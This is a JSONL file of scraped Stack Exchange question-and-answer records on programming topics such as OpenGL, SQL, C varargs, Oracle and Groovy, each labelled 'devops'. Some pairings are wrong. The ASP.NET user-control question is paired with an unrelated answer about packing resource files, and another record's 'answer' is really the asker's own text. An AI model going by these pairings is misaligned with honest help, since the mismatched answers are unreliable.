{"id": "hf_6c0a500e3560", "question": "<p>I have image data and i want to get a sub image of that to use as an opengl texture. </p>\n\n<pre><code>glGenTextures(1, &amp;m_name);\nglGetIntegerv(GL_TEXTURE_BINDING_2D, &amp;oldName);\nglBindTexture(GL_TEXTURE_2D, m_name);\nglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\nglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\nglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, m_width, m_height, 0, GL_RGBA, GL_UNSIGNED_BYTE, m_data);\n</code></pre>\n\n<p>How can i get a sub image of that image loaded as a texture. I think it has something to do with using glTexSubImage2D, but i have no clue how to use it to create a new texture that i can load. Calling: </p>\n\n<pre><code>glTexSubImage2D(GL_TEXTURE_2D, 0, xOffset, yOffset, xWidth, yHeight, GL_RGBA, GL_UNSIGNED_BYTE, m_data);\n</code></pre>\n\n<p>does nothing that i can see, and calling glCopyTexSubImage2D just takes part of my framebuffer.\nThanks</p>\n", "question_body": "", "answer": "Edit:\nUse glPixelStorei. You use it to set\n```\nGL_UNPACK_ROW_LENGTH\n```\nto the width (in pixels) of the entire image. Then you call glTexImage2D (or whatever), passing it a pointer to the first pixel of the subimage and the width and height of the subimage.\nDon't forget to restore\n```\nGL_UNPACK_ROW_LENGTH\n```\nto 0 when you're finished with it.\nIe:\n```\n```\nglPixelStorei( GL_UNPACK_ROW_LENGTH, img_width );\nchar *subimg = (char*)m_data + (sub_x + sub_y*img_width)*4;\nglTexImage2D( GL_TEXTURE_2D, 0, GL_RGBA, sub_width, sub_height, 0, GL_RGBA, GL_UNSIGNED_BYTE, subimg );\nglPixelStorei( GL_UNPACK_ROW_LENGTH, 0 );\n```\n```\nOr, if you're allergic to pointer maths:\n```\n```\nglPixelStorei( GL_UNPACK_ROW_LENGTH, img_width );\nglPixelStorei( GL_UNPACK_SKIP_PIXELS, sub_x );\nglPixelStorei( GL_UNPACK_SKIP_ROWS, sub_y );\n\nglTexImage2D( GL_TEXTURE_2D, 0, GL_RGBA, sub_width, sub_height, 0, GL_RGBA, GL_UNSIGNED_BYTE, m_data );\n\nglPixelStorei( GL_UNPACK_ROW_LENGTH, 0 );\nglPixelStorei( GL_UNPACK_SKIP_PIXELS, 0 );\nglPixelStorei( GL_UNPACK_SKIP_ROWS, 0 );\n```\n```\nEdit2:\nFor the sake of completeness, I should point out that if you're using OpenGL-ES then you don't get\n```\nGL_UNPACK_ROW_LENGTH\n```\n. In which case, you could either (a) extract the subimage into a new buffer yourself, or (b)...\n```\n```\nglTexImage2D( GL_TEXTURE_2D, 0, GL_RGBA, sub_width, sub_height, 0, GL_RGBA, GL_UNSIGNED_BYTES, NULL );\n\nfor( int y = 0; y < sub_height; y++ )\n{\n    char *row = m_data + ((y + sub_y)*img_width + sub_x) * 4;\n    glTexSubImage2D( GL_TEXTURE_2D, 0, 0, y, sub_width, 1, GL_RGBA, GL_UNSIGNED_BYTE, row );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.458877"}
{"id": "hf_029311565d2f", "question": "<p>I'm working on an application for work that is going to query our employee database. The end users want the ability to search based on the standard name/department criteria, but they also want the flexibility to query for all people with the first name of \"James\" that works in the Health Department. The one thing I want to avoid is to simply have the stored procedure take a list of parameters and generate a SQL statement to execute, since that would open doors to SQL injection at an internal level.</p>\n\n<p>Can this be done?</p>\n", "question_body": "", "answer": "My first thought was to write a query something like this...\n```\n```\nSELECT EmpId, NameLast, NameMiddle, NameFirst, DepartmentName\n  FROM dbo.Employee\n       INNER JOIN dbo.Department ON dbo.Employee.DeptId = dbo.Department.Id\n WHERE IdCrq IS NOT NULL\n       AND\n       (\n          @bitSearchFirstName = 0\n          OR\n          Employee.NameFirst = @vchFirstName\n       )\n       AND\n       (\n          @bitSearchMiddleName = 0\n          OR\n          Employee.NameMiddle = @vchMiddleName\n       )\n       AND\n       (\n          @bitSearchFirstName = 0\n          OR\n          Employee.NameLast = @vchLastName\n       )\n       AND\n       (\n          @bitSearchDepartment = 0\n          OR\n          Department.Id = @intDeptID\n       )\n```\n```\n...which would then have the caller provide a bit flag if they want to search a particular field and then supply the value if they are to search for it, but I don't know if this is creating a sloppy WHERE clause or if I can get away with a CASE statement in the WHERE clause.\nAs you can see this particular code is in T-SQL, but I'll gladly look at some PL-SQL / MySQL code as well and adapt accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.484313"}
{"id": "hf_f3f83ad31c2f", "question": "<p>Because I run a blog aggregator website which checks a large list of RSS feeds for new posts every hour so I will be happy if its possible to use google feed api or <a href=\"http://code.google.com/apis/ajaxfeeds/\" rel=\"nofollow noreferrer\">Google AJAX Feed API</a> instead of making the cron jobs to read the whole feed to know if its updated or not.\nlike this <a href=\"http://getsatisfaction.com/rososo/topics/updates_dont_seem_to_be_dated_right\" rel=\"nofollow noreferrer\">link text</a></p>\n", "question_body": "", "answer": "You can use the Google Feed API, however instead of polling the feed source every hour you will still need to poll the google feed API every hour.  It doesn't notify you of feed updates.  If you want to be notified when to update feeds, then you should look into using a ping server,\nhttp://en.wikipedia.org/wiki/Ping_blog\nto determine when feeds are updated so that you know it is time to fetch the feed again.  Not all feeds use a ping server, but it might help you for those that do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.508628"}
{"id": "hf_90fed283a444", "question": "<p>Say I have a C function which takes a variable number of arguments: How can I call another function which expects a variable number of arguments from inside of it, passing all the arguments that got into the first function?</p>\n\n<p>Example:</p>\n\n<pre><code>void format_string(char *fmt, ...);\n\nvoid debug_print(int dbg_lvl, char *fmt, ...) {\n    format_string(fmt, /* how do I pass all the arguments from '...'? */);\n    fprintf(stdout, fmt);\n }\n</code></pre>\n", "question_body": "", "answer": "To pass the ellipses on, you initialize a\n```\nva_list\n```\nas usual and simply pass it to your second function. You don't use\n```\nva_arg()\n```\n. Specifically;\n```\n```\nvoid format_string(char *fmt,va_list argptr, char *formatted_string);\n\nvoid debug_print(int dbg_lvl, char *fmt, ...) \n{    \n char formatted_string[MAX_FMT_SIZE];\n\n va_list argptr;\n va_start(argptr,fmt);\n format_string(fmt, argptr, formatted_string);\n va_end(argptr);\n fprintf(stdout, \"%s\",formatted_string);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.532403"}
{"id": "hf_388b9b0b5c57", "question": "<p>Visual Studio makes calling a web service easy, trying to figure out what is going on under the covers is difficult.</p>\n\n<p>How can I see the actual XML generated from my .Net app when making a call to a web service?</p>\n", "question_body": "", "answer": "tools like\ntcptrace\nor\nFiddler\ncan help.\nfew troubleshooting links:\nTracing WCF with TcpTrace\nUsing Fiddler and Excel 07 to debug web services\nFiddler Can Make Debugging Easy", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.569222"}
{"id": "hf_abfa988315fa", "question": "<p>During my work with databases I noticed that I write query strings and in this strings I have to put several restrictions in the where-clause from a list/array/collection. Should look like this:</p>\n\n<pre><code>select * from customer \nwhere customer.id in (34, 26, ..., 2);\n</code></pre>\n\n<p>You can simplify this by reducing this to the question that you have collection of strings and want to create a comma-separated list of this strings in just one string.</p>\n\n<p>My approach I have used so far is something like that:</p>\n\n<pre><code>String result = \"\";\nboolean first = true;\nfor(String string : collectionOfStrings) {\n    if(first) {\n        result+=string;\n        first=false;\n    } else {\n        result+=\",\"+string;\n    }\n}\n</code></pre>\n\n<p>But this is as you can see very ugly. You cannot see what happens there on the first look, especially when the constructed strings (like every SQL query) is getting complicated.</p>\n\n<p>What is your (more) elegant way?</p>\n", "question_body": "", "answer": "I'm not sure how \"sophisticated\" this is, but it's certainly a bit shorter. It will work with various different types of collection e.g. Set<Integer>, List<String>, etc.\n```\n```\npublic static final String toSqlList(Collection<?> values) {\n\n    String collectionString = values.toString();\n\n    // Convert the square brackets produced by Collection.toString() to round brackets used by SQL\n    return \"(\" + collectionString.substring(1, collectionString.length() - 1) + \")\";\n}\n```\n```\nExercise for reader\n: modify this method so that it correctly handles a null/empty collection :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.594480"}
{"id": "hf_60a0f8628dc3", "question": "<p>If you develop for ATG Dynamo, how do you structure your modules and dependencies?</p>\n\n<p>How do you structure the projects? source directories, JARs configs etc.</p>\n\n<p>How do you build and deploy? What tools do you use?</p>\n", "question_body": "", "answer": "We have a monolithic architecture with a single ATG module. We originally developed this site with JHTML and have since created a (monolithic) J2EE web app within this ATG module and converted all of our JHTML to JSP.\nOur project on disk looks like this:\n```\n```\nroot\n  deploy\n    class (compile java to here)\n    config (primary configpath)\n    docroot (JHTML docroot)\n    dev (configpath for dev environment)\n    test (configpath for QA environment)\n    prod (configpath for prod environment)\n  j2ee (j2ee web-app)\n    WEB-INF\n    dir-a (application JSPs)\n    dir-b (application JSPs)\n  src\n    java (java src)\n    sql (sql src)\n```\n```\nWe have an Ant build file that compiles the Java source to deploy/class. On dev/test and prod JAR up. We have a single build server that checks out the CVS repository and uses shell scripts and the build.xml to compile and deploy to the requested server using Interwoven OpenDeploy (essentially rsync).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.618296"}
{"id": "hf_9b3cd942e992", "question": "<p>My initial installation for the <strong>MySQL</strong> had no password for root. I assigned a password for root and everything worked fine. Due to some reason (don't ask why) I had to revert back to the original settings where root didn't have any password.</p>\n\n<p>I changed the root password to <code>'' (empty string)</code>. The problem now is that MySQL doesn't run with <code>'mysql -uroot'</code>, it expects a password. On running <code>'mysql -uroot -p'</code> and hitting enter on the password prompt gets me into the db, but is not same as the default setting.</p>\n\n<p>Is there any other flag/setting that I am missing to set/unset which tells mysql to not expect a password?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "How to Reset MySQL root password:\nTo reset it, see\nHow to Reset the Root Password\nin the MySQL manual.\nHow to run MySQL without password controlled access\nTo run MySQL with the password controls disabled, check out the\n--skip-grant-tables\noption.\nHow to avoid typing credentials on the command line\nIf you simply want to avoid having to type the password on the mysql command line, create a file called .my.cnf (note leading period on that filename!) in your home directory. In your case, for the root user, probably /root\nAdd the following entries to the file\n```\n```\n[client]\nhost=localhost\nuser     = root\npassword = mypassword\ndatabase = mydatabase\n```\n```\nYou'd typically chmod 600 this file so that only you can see it, and MySQL will ignore a .my.cnf which is world writable anyway.\nSee the manual page\nUsing Option Files\nfor more information", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.711617"}
{"id": "hf_dbb617ac182f", "question": "<p>i got a client side javascript function which is triggered on a button click (basically, its a calculator!!). Sometimes, due to enormous data on the page, the javascript calculator function take to long &amp; makes the page appear inactive to the user. I was planning to display a transparent div over entire page, maybe with a busy indicator (in the center) till the calculator function ends, so that user waits till process ends. </p>\n\n<pre>\nfunction CalculateAmountOnClick() {\n  // Display transparent div\n\n  // MY time consuming loop!\n    {\n\n    }\n\n  // Remove transparent div \n\n}\n</pre>\n\n<p>Any ideas on how to go about this? Should i assign a css class to a div (which surrounds my entire page's content) using javascript when my calculator function starts? I tried that but didnt get desired results. Was facing issues with transparency in IE 6. Also how will i show a loading message + image in such a transparent div?</p>\n\n<p>TIA</p>\n", "question_body": "", "answer": "I would do something like:\nunhide a div (\n```\ndisplay:inline\n```\n)\nmake the\n```\nposition:absolute\n```\ngive it a\n```\nz-index:99\n```\nmake the height and width\n```\n100%\n```\nwhen the processing is done set\n```\ndisplay:none\n```\nTo make it transparent you'll have to set the opacity which is different in Firefox, IE, etc.\nTo show a loading icon you can always create a second div and position it where you want to on the page.  When it's done loading, remove it along with the transparent one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.748721"}
{"id": "hf_899509eaab9f", "question": "<p>I came across an issue that makes me think there is bug in the 3.0 framework. When I try to use extension methods I get the following error: </p>\n\n<pre><code>Missing compiler required member\n'System.Runtime.CompilerServices.ExtensionAttribute..ctor'\n</code></pre>\n\n<p>When using this simple code:</p>\n\n<pre><code>public static class StringUtils {\n    static void TestExtension(this String targetString) {\n\n    }\n}\n</code></pre>\n\n<p>The only way to make this compile error go away is to add the following code:</p>\n\n<pre><code>namespace System.Runtime.CompilerServices {\n    public class ExtensionAttribute : Attribute { }\n}\n</code></pre>\n\n<p>It's been a few months since I have used extensions methods, but I'm pretty sure I didn't have to do this. Has anyone else come across this issue?</p>\n", "question_body": "", "answer": "Your framework isn't high enough for Extension Methods.\nThat's a\nhack\nfor making extension methods work without being in 3.5", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.786118"}
{"id": "hf_dc8dd84e8c8b", "question": "<p>It seems that Groovy does not support <code>break</code> and <code>continue</code> from within a closure. What is the best way to simulate this?</p>\n\n<pre><code>revs.eachLine { line -&gt; \n    if (line ==~ /-{28}/) {\n         // continue to next line...\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "You can only support continue cleanly, not break.  Especially with stuff like eachLine and each.  The inability to support break has to do with how those methods are evaluated, there is no consideration taken for not finishing the loop that can be communicated to the method.   Here's how to support continue --\nBest approach (assuming you don't need the resulting value).\n```\n```\nrevs.eachLine { line -> \n    if (line ==~ /-{28}/) {\n        return // returns from the closure\n    }\n}\n```\n```\nIf your sample really is that simple, this is good for readability.\n```\n```\nrevs.eachLine { line -> \n    if (!(line ==~ /-{28}/)) {\n        // do what you would normally do\n    }\n}\n```\n```\nanother option, simulates what a continue would normally do at a bytecode level.\n```\n```\nrevs.eachLine { line -> \n    while (true) {\n        if (line ==~ /-{28}/) {\n            break\n        }\n        // rest of normal code\n        break\n    }\n\n}\n```\n```\nOne possible way to support break is via exceptions:\n```\n```\ntry {\n    revs.eachLine { line -> \n        if (line ==~ /-{28}/) {\n            throw new Exception(\"Break\")\n        }\n    }\n} catch (Exception e) { } // just drop the exception\n```\n```\nYou may want to use a custom exception type to avoid masking other real exceptions, especially if you have other processing going on in that class that could throw real exceptions, like NumberFormatExceptions or IOExceptions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.810386"}
{"id": "hf_e83541e3929f", "question": "<p>Whats the benefit of:</p>\n\n<pre><code>public string User {get; set;}\n</code></pre>\n\n<p>over</p>\n\n<pre><code>public string User;\n</code></pre>\n\n<p>Since you can't access the private member in the first case, how is it any different that just making your property public?</p>\n", "question_body": "", "answer": "The second example is making the\nfield\npublic, not a property (your question). This provides a simple way of making simple properties. Properties should be your default, not public fields; the list of reasons is endless, but starts with:\nencapsulation\nability to add notification\nencapsulation\nability to do validation\nencapsulation\ndata binding\nencapsulation\nsecurity checking\noh - and did I mention encapsulation?\nChanging from a field to a property after-the-fact is a breaking change - especially if you use a lot of \"ref\" code or mutable structs (yeuch).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.886152"}
{"id": "hf_70e053b9b04b", "question": "<p>What are the key use cases for the use of virtualization -- that is, running one or more \"virtual PCs\" using software such as <a href=\"http://www.vmware.com/\" rel=\"nofollow noreferrer\">VMWare</a> and <a href=\"http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx\" rel=\"nofollow noreferrer\">Microsoft Virtual PC</a> -- for software development?</p>\n\n<p>Also -- are there other instances/uses of virtualization that aren't covered by my definition above (use of a tool like MS Virtual PC or VMWare), and that are useful to developers?</p>\n\n<p>My impetus for asking is this <a href=\"https://stackoverflow.com/questions/171946/computer-upgrade-cycle#171978\">StackOverflow comment</a> by <a href=\"https://stackoverflow.com/users/9664/metro-smurf\">Metro Smurf</a> asserting \"You'll wonder how you ever developed without it!\", regarding use of virtualization.</p>\n\n<p>(Please include just one use case per response.  Thanks!)</p>\n", "question_body": "", "answer": "Application testing in multiple environments is one obvious use of virtualization that I'm aware of.  Testing your application on other operating systems (without requiring additional physical computers to do so), as well as testing that involves software that generally only allows you to install a single version on a given machine (such as the Internet Explorer browser; running both IE6 and IE7 on the same machine is not an officially supported configuration), are good candidates for virtual machine usage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.961125"}
{"id": "hf_a2e950c71338", "question": "<p>Is it possible to call a class's static property to set the navigateurl property?</p>\n\n<blockquote>\n<pre><code>&lt;asp:HyperLink ID=\"hlRegister\" NavigateUrl=\"&lt;%= SomeClass.Property %&gt;\"  runat=\"server\" /&gt;\n</code></pre>\n</blockquote>\n\n<p><b>without using codebehind ofcourse!</b></p>\n", "question_body": "", "answer": "sure, in the code behind:\n```\n```\nhl.NavigateUrl = Class.Static().ToString();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:57.999121"}
{"id": "hf_29331fe349b9", "question": "<p>How do I query an Oracle database to display the names of all tables in it?</p>\n", "question_body": "", "answer": "```\n```\nSELECT owner, table_name\n  FROM dba_tables\n```\n```\nThis is assuming that you have access to the\n```\nDBA_TABLES\n```\ndata dictionary view.  If you do not have those privileges but need them, you can request that the DBA explicitly grants you privileges on that table, or, that the DBA grants you the\n```\nSELECT ANY DICTIONARY\n```\nprivilege or the\n```\nSELECT_CATALOG_ROLE\n```\nrole (either of which would allow you to query any data dictionary table).  Of course, you may want to exclude certain schemas like\n```\nSYS\n```\nand\n```\nSYSTEM\n```\nwhich have large numbers of Oracle tables that you probably don't care about.\nAlternatively, if you do not have access to\n```\nDBA_TABLES\n```\n, you can see all the tables that your account has access to through the\n```\nALL_TABLES\n```\nview:\n```\n```\nSELECT owner, table_name\n  FROM all_tables\n```\n```\nAlthough, that may be a subset of the tables available in the database (\n```\nALL_TABLES\n```\nshows you the information for all the tables that your user has been granted access to).\nIf you are only concerned with the tables that you own, not those that you have access to, you could use\n```\nUSER_TABLES\n```\n:\n```\n```\nSELECT table_name\n  FROM user_tables\n```\n```\nSince\n```\nUSER_TABLES\n```\nonly has information about the tables that you own, it does not have an\n```\nOWNER\n```\ncolumn – the owner, by definition, is you.\nOracle also has a number of legacy data dictionary views--\n```\nTAB\n```\n,\n```\nDICT\n```\n,\n```\nTABS\n```\n, and\n```\nCAT\n```\nfor example-- that could be used.  In general, I would not suggest using these legacy views unless you absolutely need to backport your scripts to Oracle 6.  Oracle has not changed these views in a long time so they often have problems with newer types of objects.  For example, the\n```\nTAB\n```\nand\n```\nCAT\n```\nviews both show information about tables that are in the user's recycle bin while the\n```\n[DBA|ALL|USER]_TABLES\n```\nviews all filter those out.\n```\nCAT\n```\nalso shows information about materialized view logs with a\n```\nTABLE_TYPE\n```\nof \"TABLE\" which is unlikely to be what you really want.\n```\nDICT\n```\ncombines tables and synonyms and doesn't tell you who owns the object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.035773"}
{"id": "hf_70692a17e066", "question": "<p>The code-complete feature in Visual Studio is very useful, and it still works for C# and C++ code - but no longer works for XAML (XML) editing.</p>\n\n<p>Is there a setting somewhere that can re-enable this?  My co-workers still have it working.</p>\n", "question_body": "", "answer": "(I'm assuming that you mean intellisense by \"code complete\")\nIntellisense for xml documents is controlled by XSD files.  When you're editing a xaml file, look at the menu bar.  You should see a menu item called XML.  At the bottom of this  you'll see a menu item \"Schemas...\"  Click on that.\nYou'll see a list of all the available schemas in the system.  Messing with this list, or the schemas that ship with VS (usually in c:\\program files\\visual studio 9.0\\xml\\schemas) can cause xml (aka xaml) intellisense.\nI would first suggest making sure there are no checks or X's in the Use column for any schema.  All cells should be blank (aka Automatic).  This way, VS picks up the namespaces from your xml file and applies the corresponding schemas from this list.\nSecondly, check the namespaces in your xml file.  Check to see if the corresponding XSD schema is listed.  If not, hunt it down and add it in.\nIf these two don't fix the problem, get a full copy of your co-worker's schema directory and copy it over yours.  Open up that schema window and make sure every XSD is in there, and set to automatic.\nThe last step is a repair install of Visual Studio, followed by a good helping of automatic updates.\nIf you're talking about the addin \"code complete\", get the latest version from their website and reinstall it.  SP1 might have broken your current installation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.084188"}
{"id": "hf_17b6cc167c28", "question": "<p>How does sharepoint identify a file type? For example, SharePoint will not allow you to upload executable files. Suppose if i rename a file extension from .exe to say, .doc, will the sharepoint allow the upload of this file? </p>\n", "question_body": "", "answer": "I believe there are two ways to identify file types. A naive approach is to check the extension. A more secure approach would be to examine the bits of the file and see what type the file is as many file types have a few bits (\nmagic numbers\n) in the header that identify the format.\nDepending on how SharePoint checks the file, that will determine how you can cheat the system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.169949"}
{"id": "hf_c9c8513ddcac", "question": "<p>What are some good solutions for handling automatic web based software updates for windows forms projects? I am aware of microsoft one-click, but am not interested in it at this time.</p>\n", "question_body": "", "answer": "it really depends on how complex of an update process is needed.\nI have had a few clients with simple needs where we created our own process setup that handled it, in about 3 hours of development we have a fully working solution that met all of their needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.205494"}
{"id": "hf_3de66c282901", "question": "<p>How can I find out, which keyboard layout the user of my ruby application is using?\nMy aim is to have a game, where you can move the player on a map. To go one step down and one step left you press \"Y\" on a german keyboard. On an American keyboard, you would press \"Z\". We optimized the game for windows and mac, so I would like a solution for both platforms (and we don't use any command/shift/control-keys).</p>\n", "question_body": "", "answer": "For Windows, you probably have to use the\nWindows API GetKeyboardLayout()\n, unless Ruby provides a wrapper for that.\nThere are a lot of\nuseful I18n resources for Windows on the MSDN web site\n.\nIt might be easier to simply allow them to configure it themselves as a preference if you don't have a good portable way of detecting it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.256436"}
{"id": "hf_5dca4040d86b", "question": "<p>How does one combine several resources for an application (images, sounds, scripts, xmls, etc.) into a single/multiple binary file so that they're protected from user's hands? What are the typical steps (organizing, loading, encryption, etc...)?</p>\n\n<p>This is particularly common in game development, yet a lot of the game frameworks and engines out there don't provide an easy way to do this, nor describe a general approach. I've been meaning to learn how to do it, but I don't know where to begin. Could anyone point me in the right direction?</p>\n", "question_body": "", "answer": "Short answer: yes.\nIn Mac OS 6,7,8 there was a substantial API devoted to this exact task. Lookup the \"Resource Manager\" if you are interested. Edit: So does the\nROOT\nphysics analysis package.\nNot that I know of a good tool right now. What platform(s) do you want it to work on?\nEdited to add: All of the two-or-three tools of this sort that I am away of share a similar struture:\nThe file starts with a header and index\nThere are a series of blocks some of which may have there own headers and indicies, some of which are leaves\nEach leaf is a simple serialization of the data to be stored.\nThe whole file (or sometimes individual blocks) may be compressed.\nNot terribly hard to implement your own, but I'd look for a good existing one that meets your needs first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.280288"}
{"id": "hf_164d1eee9609", "question": "<p>I have a long form that the user has to fill out. </p>\n\n<p>So I broke the form into logical units and created another user control for some elements (they will be reused elsewhere).</p>\n\n<p>So say the form has these fields:</p>\n\n<p>UserControl3.ascx</p>\n\n<p>Username\npassword\nemail    -- usercontrol2.ascx\naddress    -- usercontrol2.ascx\ncity    -- usercontrol2.ascx\nstate    -- usercontrol2.ascx</p>\n\n<p>So now in the codebehidn of usercontrol3.ascx, how will I access the usercontrol2.ascx's fields so I can write to the db?</p>\n", "question_body": "", "answer": "Short answer: yes.\nIn Mac OS 6,7,8 there was a substantial API devoted to this exact task. Lookup the \"Resource Manager\" if you are interested. Edit: So does the\nROOT\nphysics analysis package.\nNot that I know of a good tool right now. What platform(s) do you want it to work on?\nEdited to add: All of the two-or-three tools of this sort that I am away of share a similar struture:\nThe file starts with a header and index\nThere are a series of blocks some of which may have there own headers and indicies, some of which are leaves\nEach leaf is a simple serialization of the data to be stored.\nThe whole file (or sometimes individual blocks) may be compressed.\nNot terribly hard to implement your own, but I'd look for a good existing one that meets your needs first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.308757"}
{"id": "hf_01915f853c98", "question": "<p>Let's have a list of some good interview questions for SharePoint developers. Please provide one question per entry, and if possible, the answers.</p>\n\n<p>Also, please feel free to suggest corrections if the provided answers are wrong.</p>\n\n<p>I will go first: </p>\n\n<p>Q: How does SharePoint store pages?</p>\n\n<p>A: <a href=\"https://stackoverflow.com/questions/125805/how-to-locate-sharepoint-document-library-source-page-on-the-server#127138\">How-to-locate-sharepoint-document-library-source-page-on-the-server?</a></p>\n", "question_body": "", "answer": "Q: What is the difference between\n```\nSystem.Web.UI.WebControls.WebParts.WebPart\n```\nand\n```\nMicrosoft.SharePoint.WebPartPages.WebPart\n```\n?\nA:\n```\nMicrosoft.SharePoint.WebPartPages.WebPart\n```\nis provided in MOSS 2007 to provide backwards compatability with MOSS 2003 webparts.  In MOSS 2007, it is recommended to use\n```\nSystem.Web.UI.WebControls.WebParts.WebPart\n```\ninstead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.332173"}
{"id": "hf_09d3e7690c19", "question": "<p>Why does the C++ STL not provide any \"tree\" containers, and what's the best thing to use instead?</p>\n\n<p>I want to store a hierarchy of objects as a tree, rather than use a tree as a performance enhancement...</p>\n", "question_body": "", "answer": "In a way, std::map is a tree (it is required to have the same performance characteristics as a balanced binary tree) but it doesn't expose other tree functionality.  The likely reasoning behind not including a real tree data structure was probably just a matter of not including everything in the stl.  The stl can be looked as a framework to use in implementing your own algorithms and data structures.\nIn general, if there's a basic library functionality that you want, that's not in the stl, the fix is to look at\nBOOST\n.\nOtherwise, there's a\nbunch\nof\nlibraries\nout\nthere\n, depending on the needs of your tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:58.414610"}
